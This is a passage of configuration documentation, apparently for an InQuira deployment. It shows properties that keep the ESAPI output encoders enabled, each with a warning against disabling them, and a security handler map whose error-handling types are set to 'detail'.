# calls to org.owasp.esapi.ESAPI.encoder().encodeForCSS() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableCSSEncoder=false
# Setting this property to true will disable the LDAP distinguished name encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForDN() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableDNEncoder=false
# Setting this property to true will disable the JavaScript encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForJavaScript() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableJavaScriptEncoder=false
# Setting this property to true will disable the LDAP encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForLDAP() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableLDAPEncoder=false
# Setting this property to true will disable the OS specific encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForOS() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableOSEncoder=false
# Setting this property to true will disable the SQL encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForSQL() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableSQLEncoder=false
# Setting this property to true will disable the URL encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForURL() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableURLEncoder=false
# Setting this property to true will disable the XML Element encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForXML() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableXMLEncoder=false
# Setting this property to true will disable the XML Attribute encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForXMLAttribute() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableXMLAttributeEncoder=false
# Setting this property to true will disable the XPath encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForXPath() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableXPathEncoder=false
```

securityhandlermap.properties

```
##securityhandlermap (optional configuration)
# configuration for security handler type
# there are types of configuration value:
# a. detail (default handler type, return to previous page and display error dialog)
# b. general (return to index?page=error with this type)
# c. custom (provide for customization by PS team,
#                                please refer the page
\WebResources\JSP\apps\infocenter\system\components\security\errorinfo.jsp
#                               to use the error info data if you configured this security
type)
#
# there are three level configuration.
# sytem.default, if nothing is configuration for action, page, use this default value
for every request.
# system.action, if nothing is configuration for single action, it use this system.action
as the configured value
# system.page, if nothing is configuration for single page, it use this system.page as
the configured value
# page.<pagename>, define the handler type for specified <pagename>
# action.<actionname>, define the handler type for specified <actionname>

system.default=detail
system.action=detail
system.page=detail
```